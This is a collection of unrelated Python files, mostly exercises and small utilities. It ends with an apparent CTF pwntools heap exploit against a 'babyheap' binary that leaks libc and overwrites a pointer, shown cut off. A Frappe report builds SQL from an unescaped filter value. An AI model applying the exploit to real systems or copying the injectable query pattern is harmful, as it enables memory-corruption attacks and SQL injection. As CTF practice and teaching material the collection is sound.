string = str(input())

list = [string[i] for i in range(len(string))]

total = 0
totalList = -1

if len(list) == 14:
	if list[0] == "7":
		total += 1
		totalList = len(list)
		if (list[1] and list[5] and list[9]) == "-":
			total += 3
			del list[1], list[4], list[7]
			for i in range(1, len(list)):
				if list[i] in "0123456789":
					total += 1

elif len(list) == 12:
	totalList = len(list)
	if (list[3] and list[7]) == "-":
		total += 2
		del list[3], list[6]
		for i in range(len(list)):
			if list[i] in "0123456789":
				total += 1

if totalList == total:
	print("YES")
else:
	print("NO")

12.0 Итоговая работа на списки/12.2 Часть 2/main 12.2-4.py


from SQLStatements import *

##//STEP I:
##//START HERE:
##// provide file location as a parameter to the function below. Replace all backslashes with forward slashes.
##// The function below will return FileLocation, # of Files available at location
##// and List of files at the specified location.
File_Information = (Count_Number_Of_Files("c:/Sudhir/Hotel_Submissions/Edited_DataFiles10272017"))

##// getting the list of files available at the specified location and assigning them to a list
##// for further processing.
fileInformation = File_Information[0]
fileList = File_Information[2] ##// this gives me the list of files available at the "File Location"

''' ## start of information segment
##// Loop through the list of files and perform the table operations
##// Step 1: Get table name from first part of file name e.g. FileName = "BD.txt" ==> Table Name is "BD" as you ignore the file extension
##// Step 2: Get headers from file (e.g. propcode, internationalhotelcode, csr_certified .....)
##// Step 3: If table exists, drop the table
##// Step 4: Use file headers to create SQL query for creation of table
##// Step 5: Get rest of file data excluding the headers from the file
##// Step 6: Generate SQL query to insert data into newly created table as above
##// Step 7: Insert file data into SQL database with table name = file name (without extension)
##// Step 8: Output information regarding file columns and rows and completion of insertion of data into table
##// Step 9: Repeat the process for the rest of the files in the filelist available at the location specified.
##// Step 10: print succcess message on completion of tasks.
end of information segment ##'''

##// STEP 2:
##// If files available at location perform further processing
if fileList:
   fileHandling(fileList,fileInformation)
else:
   ##// if no files are found at the specified location, the script will exit and print out the message below to the user.
   print("No Files Found")


# -*- coding: utf-8 -*-
"""
Created on Mon Sep 20 15:50:58 2021

@author: sp3660
"""

import tkinter as tk
from tkinter import ttk
import tkinter as Tkinter
from tkinter import Listbox, MULTIPLE, END
import ast

class WidgetSelectMultiCage(tk.Frame):
        def __init__(self, MouseDat, frame, cage_list):
            tk.Frame.__init__(self, frame)

            self.cage_list=cage_list
            self.parent=frame
            self.dat_ref=MouseDat

            self.cages=tk.StringVar()
            self.cage_selection=Listbox(self, listvariable=self.cages, selectmode=MULTIPLE, width=6, height=8, exportselection=0)
            self.cage_selection.grid(column=0, row=3)
            self.cages.set(self.cage_list)

            self.select_button= ttk.Button(self , text='Select Cages', command=self.select_cage_button)
            self.select_button.grid(column=0, row=4)

        def select_cage_button(self):
            self.select()
            self.parent.selected_cages=self.selected_cages
            print('mice selected')

        def select(self):
                self.selected_cages = list()
                selection = self.cage_selection.curselection()
                if selection:
                    for i in selection:
                        cage = self.cage_selection.get(i)
                        self.selected_cages.append(cage)
                else:
                     self.selected_cages=list(ast.literal_eval( self.cages.get()))

        def update_lists(self, updated_cage_list=None):
            if updated_cage_list:
                self.cage_selection.delete(0, END)
                for cage in updated_cage_list: #populate listbox again
                    self.cage_selection.insert(END, cage)

if __name__ == "__main__":

    from sys import platform
    import socket
    from project_manager.ProjectManager import ProjectManager

    house_PC='DESKTOP-V1MT0U5'
    lab_PC='DESKTOP-OKLQSQS'
    # small_laptop_ubuntu='samuel-XPS-13-9560'
    # small_laptop_kali='samuel-XPS-13-9560'
    big_laptop_ubuntu='samuel-XPS-15-9560'
    big_laptop_arch='samuel-XPS-15-9560'

    if platform == "win32":
        if socket.gethostname()==house_PC:
            githubtoken_path=r'C:\Users\Samuel\Documents\Github\GitHubToken.txt'
            computer=house_PC
        elif socket.gethostname()==lab_PC:
            githubtoken_path=r'C:\Users\sp3660\Documents\Github\GitHubToken.txt'
            computer=lab_PC

    ProjectManager=ProjectManager(githubtoken_path, computer, platform)
    gui=0
    lab=ProjectManager.initialize_a_project('LabNY', gui)

    MouseDat=lab.database
    datamanaging=lab.datamanaging

    root = Tkinter.Tk()
    app = WidgetSelectMultiCage(MouseDat, root )
    root.mainloop()
    print(root.selected_mice)
    # get_values=app.separation_pairs
    # print(app.separation_pairs)


from functools import cache , lru_cache

class Solution:
    @lru_cache(None)
    def factarr(self,i):
        return 1 if i <= 1 else (self.factarr(i-1)*i) % (10**9+7)

    @lru_cache(None)
    def inv(self, i):
        mod = 10**9 + 7
        return pow(i, mod-2, mod)

    def makeStringSorted(self, s: str) -> int:
        N = len(s)

        if N == 1: return 0

        mod = 10**9 + 7

        out = 0
        counter = [0] * 26
        for i in range(N-1, -1, -1):
            indx = ord(s[i]) - ord("a")
            counter[indx] += 1
            ans = sum(counter[:indx]) * self.factarr(N-i-1)

            for j in range(26):
                ans = ans * self.inv(self.factarr(counter[j])) % mod

            out += ans  % mod

        return out % mod

        '''
        approahc :

        https://leetcode.com/problems/minimum-number-of-operations-to-make-string-sorted/discuss/1163050/Python-O(26n)-math-solution-explained

        '''


import frappe

def execute(filters=None):
	columns, data = [], []
	# return columns, data
	get_data(filters, data)
	return columns, data

def get_data(filters, data):
	if filters.get('mapped_bom'):
		data = frappe.db.sql("SELECT m.item_code ,i.name from `tabMapped BOM Item` m join `tabItem Mapping` i on i.item_code = m.item_code where m.name = '{0}' ".format(filters.get('mapped_bom')),as_dict=1,debug=1)

def get_columns():
	return [
		{
			"label": "Standard Item",
			"fieldtype": "Link",
			"fieldname": "item_code",
			"width": 300,
			"options": "Item"
		},
		{
			"label": "Item Mapping",
			"fieldtype": "Link",
			"fieldname": "item_mapping",
			"width": 100
		}
	]


# test_ajax.py ---
#
# Filename: test_ajax.py
# Author: Louise <louise>
# Created: Sun Jul  5 18:01:51 2020 (+0200)
# Last-Updated: Sun Jul  5 18:15:33 2020 (+0200)
#           By: Louise <louise>
#
from helpers import EditoggiaTestCase

from editoggia.models import Tag

class TestAjax(EditoggiaTestCase):
    """
    Tests views defined in the ajax blueprint.
    """

    def test_autocomplete_bad_model(self, client):
        """
        Test that without a correct model name we get
        a 400 error code.
        """
        rv = client.get("/ajax/autocomplete/BadModelName")
        assert rv.status_code == 400

    def test_autocomplete_fandom(self, client):
        """
        Test that the autocomplete empty returns
        the fandoms.
        """
        rv = client.get("/ajax/autocomplete/Fandom")

        assert rv.status_code == 200
        assert rv.json == dict(
            results=[{"id": "Original Work", "text": "Original Work"}]
        )

    def test_autocomplete_fandom_filter(self, client):
        """
        Test that the autocomplete returns only
        tags beginning with the query.
        """
        rv = client.get("/ajax/autocomplete/Fandom?q=L")

        assert rv.status_code == 200
        assert rv.json == dict(results=[])

    def test_autocomplete_tag(self, client):
        """
        Test that the autocomplete empty returns
        the tags.
        """
        Tag.create(name="Tagtest")
        rv = client.get("/ajax/autocomplete/Tag")

        assert rv.status_code == 200
        assert rv.json == dict(results=[{"id": "Tagtest", "text": "Tagtest"}])


from django.http import HttpResponseRedirect
from django.shortcuts import render

__author__ = 'jhonjairoroa87'

from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework_jsonp.renderers import JSONPRenderer
from django.db import models
from .form import NameForm

def multiply(a,b):
    return a*b

class Multiply(APIView):

    renderer_classes = (JSONPRenderer,)

    @staticmethod
    def get(request):
        form = NameForm()

        return render(request, 'name.html', {'form': form})

    @staticmethod
    def post(request):
        form = NameForm(request.POST)
        if form.is_valid():
            a = form.cleaned_data['one']
            b = form.cleaned_data['second']
            data = multiply(a, b)
            return render(request, 'name.html', {'data': data})
        else:
            return render(request, 'name.html', {'data': "error"})

class Divide(APIView):

    renderer_classes = (JSONPRenderer,)

    @staticmethod
    def get(request):
        try:
            first_number = int(request.GET.get('a'))
            second_number = int(request.GET.get('b'))
            return Response({'result': first_number / second_number})
        except Exception as e:
            return Response({'result': 'there was an error ' + str(e)})


"""remove_project-invites

Revision ID: d117e6299dc9
Revises: e5a51e5ed9a1
Create Date: 2022-02-18 14:43:43.954122

"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import mysql

# revision identifiers, used by Alembic.
revision = "d117e6299dc9"
down_revision = "e5a51e5ed9a1"
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_table("projectinvites")
    op.add_column(
        "projectinvitekeys", sa.Column("owner", mysql.TINYINT(display_width=1), nullable=False)
    )
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_column("projectinvitekeys", "owner")
    op.create_table(
        "projectinvites",
        sa.Column(
            "project_id", mysql.INTEGER(display_width=11), autoincrement=False, nullable=False
        ),
        sa.Column(
            "invite_id", mysql.INTEGER(display_width=11), autoincrement=False, nullable=False
        ),
        sa.Column("owner", mysql.TINYINT(display_width=1), autoincrement=False, nullable=False),
        sa.ForeignKeyConstraint(
            ["invite_id"], ["invites.id"], name="projectinvites_ibfk_1", ondelete="CASCADE"
        ),
        sa.ForeignKeyConstraint(
            ["project_id"], ["projects.id"], name="projectinvites_ibfk_2", ondelete="CASCADE"
        ),
        sa.PrimaryKeyConstraint("project_id", "invite_id"),
        mysql_default_charset="utf8mb4",
        mysql_engine="InnoDB",
    )
    # ### end Alembic commands ###


# Gere, copie, mova, escreva e leia informações de arquivos externos
import shutil

diretorio = '/home/sony/WorkSpace/capacitacao_dataEnginner_DIO_at_GITHUB/cursos/arquivo_de_Teste_Aula_09_DIO.txt'

def escrever_arquivo(texto):
    arquivo = open(diretorio, 'w')
    arquivo.write(texto)
    arquivo.close()

def atualizar_arquivo(nome_arquivo,texto):
    arquivo = open(nome_arquivo,'a')
    arquivo.write(texto)
    arquivo.close()

def ler_arquivo(nome_arquivo):
    arquivo = open(nome_arquivo, 'r')
    texto = arquivo.read()
    print(texto)

def media_notas(nome_arquivo):
    arquivo = open(nome_arquivo,'r')
    aluno_nota = arquivo.read()
    #print(aluno_nota)
    aluno_nota = aluno_nota.split('\n')
    #print(aluno_nota)
    lista_media = []

    for x in aluno_nota:
        lista_notas = x.split(',')
        aluno = lista_notas[0]
        lista_notas.pop(0)
        print(aluno)
        print(lista_notas)

        media_notas = lambda notas: sum([int(i) for i in notas])/4

        print(media_notas(lista_notas))
        lista_media.append({aluno:media_notas(lista_notas)})
    return lista_media

def copia_arquivo(nome_arquivo):
    shutil.copy(nome_arquivo, '/home/sony/WorkSpace/capacitacao_dataEnginner_DIO_at_GITHUB/cursos/notas_copy.txt')

def move_arquivos(nome_arquivo):
    shutil.move(nome_arquivo, '/home/sony/WorkSpace/capacitacao_dataEnginner_DIO_at_GITHUB/cursos')

#Escrever, atualizar e ler arquivo
if __name__ == '__main__':
    #move_arquivos('teste.txt')
    #copia_arquivo('notas.txt')
    lista_media = media_notas('notas.txt')
    #print(lista_media)
    #aluno = '\nCesar, 6, 8, 6, 9'
    #escrever_arquivo('Primeira Linha.\n')
    #atualizar_arquivo("Terceira Linha.\n")
    #atualizar_arquivo('notas.txt', aluno)

cursos/curso 04 - Introdução à programação com Python/Projeto_Pycharm/aula09.py


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def buildTree(self, inorder: List[int], postorder: List[int]) -> Optional[TreeNode]:
        if not inorder: return None
        # root --> end of post order
        # left side of root will be left tree, right side will be right
        root = TreeNode(val = postorder[-1])
        root_i = inorder.index(root.val)
        # right side will be length - 1 - root_i
        root.left = self.buildTree(inorder[:root_i], postorder[:root_i])
        root.right = self.buildTree(inorder[root_i+1:], postorder[root_i:-1])
        return root

106. Construct Binary Tree from Inorder and Postorder Traversal/solution.py


import csv

newfile = 'C://Users//Elait141//Desktop//Techie Smiles//Python//data.csv'
row_count = 0
# Reading the CSV data
with open(newfile, 'r') as file:
    csv_reader = csv.reader(file)

    next(csv_reader)
    for row in csv_reader:
        row_count += 1
        if row_count in (20,21):
            print(row_count, row)

'''
# How to read a particular column in a CSV file

with open('data.csv', 'r') as file:
    csv_reader = csv.reader(file)

    next(csv_reader)
    for row in csv_reader:
        print(row[0])

with open('data.csv', 'r') as file:
    csv_reader = csv.reader(file)

    new_file = open('data.csv', 'w')
    writer = csv.writer(new_file)

    for data in writer:
        data[1:-1] = []
        writer.writerow(data)
# How to read selected lines in CSV file

with open('data.csv', 'r') as file:
    csv_reader = csv.reader(file)

    next(csv_reader)
    for row in csv_reader:
        if csv_reader.line_num >5:
            print(row[0])

# How to find a particular value in CSV file

find_value = input('Enter the value to found: ')

read_file = open('data.csv', 'r')
csv_reader = csv.reader(read_file)

next(csv_reader)

for row in csv_reader:
    if find_value in row:
        print(row)

# Writing into a CSV file

with open('output.csv', 'w', newline='') as file:
    csv_writer = csv.writer(file)
    csv_writer.writerow(['Name', 'Age', 'Location'])
    csv_writer.writerow(['Alice', 28, 'New York'])
    csv_writer.writerow(['Bob', 32, 'Los Angeles'])

'''


from pocketsphinx import LiveSpeech

def visiiri(text):
    sliced = text.split(' ')
    # OPEN UP and CLOSE IT are right now the most recognizable words
    for word in sliced:
        if word in ['open', 'pop', 'up', 'bob', 'op', 'oh', 'and', 'huh', 'ha']:
            return "OPEN"
        elif word in ['close', 'down', 'now', 'those', 'don\'t', 'not', 'who', 'knows', 'dallas', ]:
            return "CLOSE"
        else:
            return "UNKNOWN"
for phrase in LiveSpeech():
    print(phrase)
    print(visiiri(str(phrase)))


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
  def rightSideView(self, root: TreeNode) -> List[int]:
    list = []
    if root is None:
      return list
    self.getRightSideView(root, {}, list, 0)
    return list

  def getRightSideView(self, root, map, list, count):
    if root is None:
      return
    if not count in map:
      list.append(root.val)
      map[count] = 1
    self.getRightSideView(root.right, map, list, count + 1)
    self.getRightSideView(root.left, map, list, count + 1)


# -*- coding: utf-8 -*-
"""
Created on Wed Sep 07 18:06:10 2016

@author: Elijah
"""

from brian2 import *

start_scope()

num_neurons = 100
duration = 2*second

# Parameters
area = 20000*umetre**2
Cm = 1*ufarad*cm**-2
El = -17.0*mV
EK = -72*mV
ENa = 55.0*mV
EA= -75.0*mV

#gl = 0.3*msiemens/cm**2
#gNa = 120*msiemens/cm**2
#gK = 20.0*msiemens/cm**2
#gA=47.7*msiemens/cm**2

gl = 0.3*msiemens/cm**2
gNa = 120.0*msiemens/cm**2
gK = 20*msiemens/cm**2
gA=  47.7*msiemens/cm**2

#The model
eqs_ina = '''
ina=gNa * m**3 * h * (ENa-v) :  amp/meter**2
dm/dt = alpham * (1-m) - betam * m : 1
dh/dt = alphah * (1-h) - betah * h : 1
alpham = 0.38/mV*(v+29.7*mV)/(1-exp(-0.1*(v+29.7*mV)/mV ) )/ms : Hz
betam = 15.2*exp(-0.0556*(v+54.7*mV)/mV)/ms : Hz
alphah = 0.266*exp(-0.05*(v+48*mV)/mV)/ms : Hz
betah = 3.8/(1+exp(-0.1*(v+18.*mV)/mV))/ms : Hz
'''

eqs_iA = '''
iA=gA * a**3 * b * (EA-v) :  amp/meter**2
da/dt = alphaa * (1-a) - betaa * a : 1
db/dt = alphab * (1-b) - betab * b : 1
alphaa = (0.0761*exp(0.0314*(v+94.22*mV)/mV)/(1+exp(0.0346*(v+1.17*mV)/mV))) ** (1/3)/ms : Hz
betaa = ((0.3632*mV)/mV + 1.158/(1 + exp(0.0497*(v + 55.96*mV)/mV)))**-1/ms : Hz
alphab = (1/(1+exp(0.0688*(v+53.3*mV)/mV))) ** 4/ms : Hz
betab = ((1.24*mV)/mV + 2.678/(1 + exp(0.0624*(v + 50*mV)/mV)))**-1/ms : Hz
'''

#iA=gA * a**3 * b * (EA-v) :  amp/meter**2
#da/dt = alphaa * (1-a) - betaa * a : 1
#db/dt = alphab * (1-b) - betab * b : 1
#alphaa = ((0.0761*exp(0.0314*(v+94.22*mV)/mV))/(1+exp(0.0346*(v+1.17*mV)/mV)) ** (1/3))/ms : Hz
#betaa = ((0.3632*mV)/mV + 1.158/(1 + exp(0.0497*(v + 55.96*mV)/mV)))/ms : Hz
#alphab = (1/(1+exp(0.0688*(v+55.3*mV)/mV)) ** 4)/ms : Hz
#betab = ((1.24*mV)/mV + 2.678/(1 + exp(0.0624*(v + 50*mV)/mV)))/ms : Hz
#'''

eqs_ik = '''
ik=gK * n**4 * (EK-v):amp/meter**2
dn/dt = alphan * (1-n) - betan * n : 1
alphan = (0.02*(v+45.7*mV)/mV)/(1-exp(-0.1*(v+45.7*mV)/mV))/ms : Hz
betan = 0.25*exp(-0.0125*(v+55.7*mV)/mV)/ms : Hz

'''
eqs_il = '''
il = gl * (El-v) :amp/meter**2
'''

eqs = '''
dv/dt = (ina+ik+il+iA+I/area)/Cm:  volt
I : amp
'''
eqs += (eqs_ina+eqs_ik+eqs_il+eqs_iA)

# Threshold and refractoriness are only used for spike counting
group = NeuronGroup(num_neurons, eqs,
                    threshold='v > 40*mV',
                    refractory='v > 40*mV',
                    method='exponential_euler')
group.v = -160.0*mV
group.m=0.0529
group.n=0.3177
group.h=0.596

monitor3=StateMonitor(group,'iA',record=True)
monitor4=StateMonitor(group, 'ina',record=True)

monitor2=StateMonitor(group,'v',record=True)
s = SpikeMonitor(group)
group.I = 0*nA
run(25.0*ms,report='text')
group.I = 1.7*nA
run(25.0*ms, report='text')
group.I = 0*nA
run(25.0*ms)
#group.I = 1.7*nA
#3run(25*ms)

#group.I = '(7*nA * i) / num_neurons'

#monitor = SpikeMonitor(group)

#run(duration)

figure(1)
plot(group.I/nA, monitor.count/duration)
xlabel('I (nA)')
ylabel('Firing rate (sp/s)')

figure(2)
plot(monitor2.t/ms, monitor2.v[0]/mV) #plot the voltage for neuron 0 (index starts at 0)
ylim(-80,60) #set axes limits
xlabel('Time(ms)')
ylabel('voltage(mV)')

#figure(3)
#plot(monitor3.t/ms, monitor3.iA[0]/(amp/meter**2))

#figure(4)
#plot(monitor2.t/ms, monitor2.v[0]/mV)
#plot(monitor3.t/ms, monitor3.iA[0]/(amp/meter**2))

#figure(5)
#plot(monitor4.t/ms, monitor4.ina[0]/(amp/meter**2))
#show()

#figure(6)
#plot(group.I/nA,monitor.count/duration)


import RPi.GPIO as GPIO
import time
servo1Speed = 0.5

# Set up GPIO mode and pin
GPIO.setmode(GPIO.BOARD)
GPIO.setup(12, GPIO.OUT)

# Set up PWM signal on the GPIO pin
p = GPIO.PWM(12, 50)
p.start(0)
while True:
    print("Going to 0 deg")
    p.ChangeDutyCycle(2.5)
    time.sleep(4)
    print("Going to 180")
    p.ChangeDutyCycle(12.5)
    time.sleep(4)


from django.contrib import admin
from aluno.models import Aluno, Inscricao

# Register your models here.

class InscricaoAdmin(admin.ModelAdmin):
    list_display = ('id','pessoa_id','curso', 'periodo', 'habilitacao_literaria', 'data_inscricao')

class AlunoAdmin(admin.ModelAdmin):
    list_display = ('id','pessoa_id', 'instituicao_origem', 'data_registro','media_conclusao')

admin.site.register(Aluno, AlunoAdmin)
admin.site.register(Inscricao, InscricaoAdmin)


n = int(input())
weight = list(map(int, input().split()))
res = [0 for i in range(sum(weight) + 1)]

def dfs(l, total):
    if l == n:
        if total > 0:
            res[total] = 1
        return
    else:
        dfs(l + 1, total + weight[l])
        dfs(l + 1, total - weight[l])
        dfs(l + 1, total)

if __name__ == "__main__":
    dfs(0, 0)
    count = 0
    for i in range(1, len(res)):
        if res[i] == 0:
            count += 1
    print(count)


from typing import List

def fizzbuzz(n: int) -> List[str]:
    """
    Function takes a number N as an input and returns N FizzBuzz numbers.
     - Install Python 3.9 (https://www.python.org/downloads/)
     - Install pytest `pip install pytest`
     - Clone the repository https://github.com/guzvladimir/epam_homeworks
     - Checkout branch homework_4
     - Open terminal
     - Run: pytest --doctest-modules homework_4/task04/task_4_doctest.py

     >>> fizzbuzz(5)
     ['1', '2', 'fizz', '4', 'buzz']
     >>> fizzbuzz(15)
     ['1', '2', 'fizz', '4', 'buzz', 'fizz', '7', '8', 'fizz', 'buzz', '11', 'fizz', '13', '14', 'fizz buzz']
     >>> fizzbuzz(-5)
     []
     >>> fizzbuzz(1.5)
     Traceback (most recent call last):
     ...
     TypeError: 'float' object cannot be interpreted as an integer
    """
    fizzbuzz_numbers = []
    for number in range(1, n + 1):
        if number % 15 == 0:
            fizzbuzz_numbers.append("fizz buzz")
        elif number % 3 == 0:
            fizzbuzz_numbers.append("fizz")
        elif number % 5 == 0:
            fizzbuzz_numbers.append("buzz")
        else:
            fizzbuzz_numbers.append(str(number))
    return fizzbuzz_numbers

if __name__ == "__main__":
    import doctest

    doctest.testmod()


import sys
from engine.graphics import Camera, vec3
from math import sin, cos, radians

class ThirdPersonCamera(Camera):

    def __init__(self, *args, **kwargs):
        Camera.__init__(self, *args, **kwargs)
        self.position = vec3(0,0,0)
        self.distance = 20.0

    def get_position(self, active_camera, look_at):
        ytheta = -active_camera.pitch
        if (ytheta < 0.0):
            ytheta = 0.0

        # algorithm from ThinMatrix video on third person cameras
        horizDist = self.distance * cos(radians(ytheta))
        vertDist = self.distance * sin(radians(ytheta))
        xtheta = active_camera.yaw - 90.0
        offsetx = horizDist * sin(radians(-xtheta))
        offsetz = horizDist * cos(radians(xtheta))
        return look_at + vec3(-offsetx, vertDist, -offsetz)


# ******************************************************************************
# Title       : Pythonディープラーニングシステム実装法
# Chapter     : 2 Deep Learningによる画像分類の応用
# Theme       : 2-8 バッチ正規化
# Module      : P00_main.py
# Description : 起動スクリプト
# Created on  : 2021/5/31
# Page        : P115 - P116
# ******************************************************************************

import os
import sys

# パス操作
# --- カレントディレクトリの指定
# --- システムパスの追加
cd = os.path.join(os.getcwd(), os.path.join("book", "dl_system", "chap2", "2-08_batch-normalization"))
os.chdir(cd)
sys.path.append(cd)

# モジュール
from P01_model_maker import ModelMaker

# 変数定義
# --- FILTERSを増加
SRC_DIR = 'D00_dataset/training'
DST_DIR = 'D01_estimator'
EST_FILE = os.path.join(DST_DIR, 'estimator.h5')
INFO_FILE = os.path.join(DST_DIR, 'model_info.txt')
GRAPH_FILE = os.path.join(DST_DIR, 'model_graph.pdf')
HIST_FILE = os.path.join(DST_DIR, 'history.pdf')
INPUT_SIZE = (160, 160)
FILTERS = (64, 128, 256, 512, 1024)
KERNEL_SIZE = (3, 3)
POOL_SIZE = (2, 2)
DENSE_DIMS = [1024, 128]
DROP_RATE = 0.4
LR = 1e-3
BATCH_SIZE = 32
REUSE_CNT = 3
EPOCHS = 5
VALID_RATE = 0.2

# 層の情報を追加
n_class = len(os.listdir(SRC_DIR))
DENSE_DIMS.append(n_class)

# モデル構築
maker = ModelMaker(
    src_dir=SRC_DIR,
    dst_dir=DST_DIR,
    est_file=EST_FILE,
    info_file=INFO_FILE,
    graph_file=GRAPH_FILE,
    hist_file=HIST_FILE,
    input_size=INPUT_SIZE,
    filters=FILTERS,
    kernel_size=KERNEL_SIZE,
    pool_size=POOL_SIZE,
    dense_dims=DENSE_DIMS,
    drop_rate=DROP_RATE,
    lr=LR,
    batch_size=BATCH_SIZE,
    reuse_count=REUSE_CNT,
    epochs=EPOCHS,
    valid_rate=VALID_RATE
)

# モデル実行
maker.execute()


# Functions for extracting and analyzing different fields in the sam file
# format.

#SAMFILE = 'accepted_hits_2_short.sam'
SAMFILE = 'accepted_hits_2.sam'
NH1FILE = 'nh=1.txt'
NHMFILE = 'nhm1.txt'
LOWMQFILE = 'lowmq.txt'

def parse_nh():

    uniq_align = 0
    multi_align = 0
    with open(SAMFILE, 'r') as f:
        for l in f:
            nhval = int(l[l.find('NH:i:')+5])
            if nhval > 1:
                multi_align += 1
                with open(NHMFILE, 'a') as g:
                    g.write(l)
            if nhval == 1:
                uniq_align += 1
                #with open(NH1FILE, 'a') as g:
                    #g.write(l)

    print('unique', uniq_align)
    print('multi', multi_align)

def parse_mapq():
    low_qual_reads = 0
    with open(SAMFILE, 'r') as f:
        for l in f:
            mapq = int(l.split('\t')[4])
            if mapq < 10:
                low_qual_reads +=1
                with open(LOWMQFILE, 'a') as g:
                    g.write(l)
    print('low quality reads', low_qual_reads)

def parse_nh_mapq():

    low_mapq_nh1_reads = 0
    high_mapq_nhmore_reads = 0
    with open(SAMFILE, 'r') as f:
        for l in f:
            mapq = int(l.split('\t')[4])
            nhval = int(l[l.find('NH:i:')+5])

            if mapq < 10 and nhval == 1:
                low_mapq_nh1_reads +=1
            if mapq > 10 and nhval > 1:
                high_mapq_nhmore_reads +=1

    print('(low quality) mapq < 10, but nh =1', low_mapq_nh1_reads)
    print('(high quality) mapq > 10, but nh > 1', high_mapq_nhmore_reads)

def main():
    parse_mapq()

if __name__ == '__main__':
   main()


# 一张图解读 Python 基础语法（py3版）
# 来源：Crossin的编程教室
import os

'''
这是多行注释
'''
def main():
    print('Hello World!')

    n = input('你叫什么名字？\n')
    l = input('请输入级别：')
    x = func('Crossin', int(l))
    y = x + 1
    y += 10
    print('score is %s' % y)
    print('=' * 10)
    print('当前目录', os.getcwd())

    food = ['苹果', '桔子', '香蕉', '西瓜']
    counter = {'葡萄': 5}
    num = 0
    for i in food:
        num += 1
        print('我想吃' + i)
        counter[i] = num
    print('计数：', counter)

    for i in range(10):
        print(i, end='，')

    print('\n====while====')
    while True:
        i += 1
        if i > 20:
            break
        print(i, end='、')

    print('\n====write file====')
    text = '；'.join(food)
    with open('output.txt', 'w') as f:
        f.write(text)

    print('main 结束')

def func(name, level=1):
    print("I'm", name)
    print('{} is level {}'.format(name, level))
    l = len(name)
    s = name.find('s')
    if level < 1:
        score = 0
    elif level > 1 and (l > 1 or s > 1):
        score = 100
    else:
        score = 60
    return score

if __name__ == '__main__':
    main()


import sys
import socketserver
import re
import json
import argparse
import logging
from .httpHandler import HTTPHandler

def defaultConfig():
    config={}
    config['listen']='127.0.0.1'
    config['port']=514
    config['destination']=['http://127.0.0.1:8080/hubot/notify/all/']
    config['ignore']=[]
    return config

def readConfigFromFile(configFilePath,config):
    with open(configFilePath, encoding='utf-8-sig') as config_file:
        config_json=json.loads(config_file.read())
        if 'listen' in config_json:
            config['listen']=config_json['listen']
        if 'port' in config_json:
            config['port']=config_json['port']
        if 'destination' in config_json:
            config['destination']=config_json['destination']
        if 'ignore' in config_json:
            for reg in config_json['ignore']:
                config['ignore'].append(re.compile(reg))
    return config

def getConfig(path=None):
    config=defaultConfig()
    if path is None:
        configPath=['./gastonSyslogFW.conf','/etc/gastonSyslogFW.conf','/usr/local/etc/gastonSyslogFW.conf']
    else:
        configPath=[path]

    for cfg in configPath:
        try:
            readConfigFromFile(cfg,config)
            return config
        except FileNotFoundError as e:
            pass

    return config

def main():
    config=getConfig()

    #override with command line parameter
    parser = argparse.ArgumentParser()
    parser.add_argument("--debug", help="verbose debug message", action="store_true")
    args=parser.parse_args()

    if args.debug:
        config['debug']=True
        logging.basicConfig(level=logging.DEBUG)
    else:
        logging.basicConfig(level=logging.INFO)

    logging.info("starting process")
    try:
        logging.debug("socker server creation")
        server = socketserver.UDPServer((config['listen'],config['port']), HTTPHandler)
        server.destinationList=config['destination']
        server.ignoreList=config['ignore']

        logging.info("listening")
        server.serve_forever(poll_interval=0.5)
    except (IOError, SystemExit) as e:
        logging.critical("recieved {}: {}".format(e.__class__.__name__, e))
        raise e
    except KeyboardInterrupt:
        logging.critical("recieved CTRL-C event")

    logging.critical("process stopped")


import csv
from pymongo import MongoClient

client = MongoClient("mongodb://localhost:27017/")
db = client["libre"]
collection = db["libre"]

csv_file = r"/Users/josuecarpio/Downloads/best-selling-books.csv"

with open(csv_file, "r", encoding='utf-8') as file:
    reader = csv.reader(file)
    next(reader)
    for row in reader:
        sales = row[4]
        if sales.isdigit():
            sales = int(sales)
        else:
            sales = None

        document = {
            "book": row[0],
            "author": row[1],
            "language": row[2],
            "Year": int(row[3]),
            "sales": sales,
            "genre": row[5],
        }
        collection.insert_one(document)

print("Proceso completado")
client.close()


#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
import os

context(arch="amd64", os="linux", endian="little")
#context.log_level="DEBUG"

class Pwn:
    def __init__(self):
        self.e = ELF("./babyheap")
        self.libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so")
        self.p = None

    def start_binary(self):
        self.p = process("./babyheap")
        self.p.recvuntil("Command: ")

    def allocate_cmd(self, size):
        self.p.sendline("1")
        self.p.recvuntil("Size: ")
        self.p.sendline(str(size))
        self.p.recvuntil("Command: ")

    def fill_cmd(self, index, size, content):
        self.p.sendline("2")
        self.p.recvuntil("Index: ")
        self.p.sendline(str(index))
        self.p.recvuntil("Size: ")
        self.p.sendline(str(size))
        self.p.recvuntil("Content: ")
        self.p.send(content)
        self.p.recvuntil("Command: ")

    def free_cmd(self, index):
        self.p.sendline("3")
        self.p.recvuntil("Index: ")
        self.p.sendline(str(index))
        self.p.recvuntil("Command: ")

    def dump_cmd(self, index):
        self.p.sendline("4")
        self.p.recvuntil("Index: ")
        self.p.sendline(str(index))
        return self.p.recvuntil("Command: ")

    def leak_libc(self):
        self.allocate_cmd(16)
        self.allocate_cmd(16)
        self.allocate_cmd(16)
        self.allocate_cmd(16)
        self.allocate_cmd(128)
        self.allocate_cmd(128)
        self.free_cmd(2)
        self.free_cmd(1)
        self.fill_cmd(0, 33, "\x00"*24+p64(0x21)+p8(0x80))
        self.fill_cmd(3, 32, "\x00"*24+p64(0x21))
        self.allocate_cmd(16)
        self.allocate_cmd(16)
        self.fill_cmd(3, 32, "\x00"*24+p64(0x91))
        self.free_cmd(4)
        data=self.dump_cmd(2)[10:]
        return u64(data[:6]+"\x00"*2)

    def rewrite_addr(self, src, dest):
        self.allocate_cmd(104)
        self.allocate_cmd(104)
        self.allocate_cmd(104)
        self.allocate_cmd(104)
        self.free_cmd(8)
        self.free_cmd(7)
        self.fill_cmd(6, 120, "\x00"*104+p64(0x70)+p64(src))
